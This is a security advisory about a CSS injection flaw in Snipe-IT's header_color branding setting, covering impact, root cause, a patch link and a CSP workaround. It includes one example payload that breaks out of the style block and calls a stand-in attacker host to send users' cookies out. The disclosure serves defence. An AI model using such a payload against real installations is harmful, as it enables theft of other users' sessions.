Snipe-IT has CSS Injection via `header_color` Setting

Impact

Because default.blade.php is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.

Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.

Details

The header_color setting (and related color settings such as nav_color and link_color) is rendered inside a CSS <style> block using Laravel's {{ }} syntax:

--main-theme-color: {{ $snipeSettings->header_color ?? '#3c8dbc' }};

Although {{ }} applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the Settings > Branding page can inject arbitrary CSS by setting the header_color value to something like:

    #fff; } body { background: url('[https://attacker.com/exfil?c='+document.cookie](https://attacker.com/exfil?c=%27+document.cookie)); } .x {

This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user's browser on every page load.

Patches

Patched in https://github.com/grokability/snipe-it/pull/19097

Workarounds

Enable CSP in your .env file.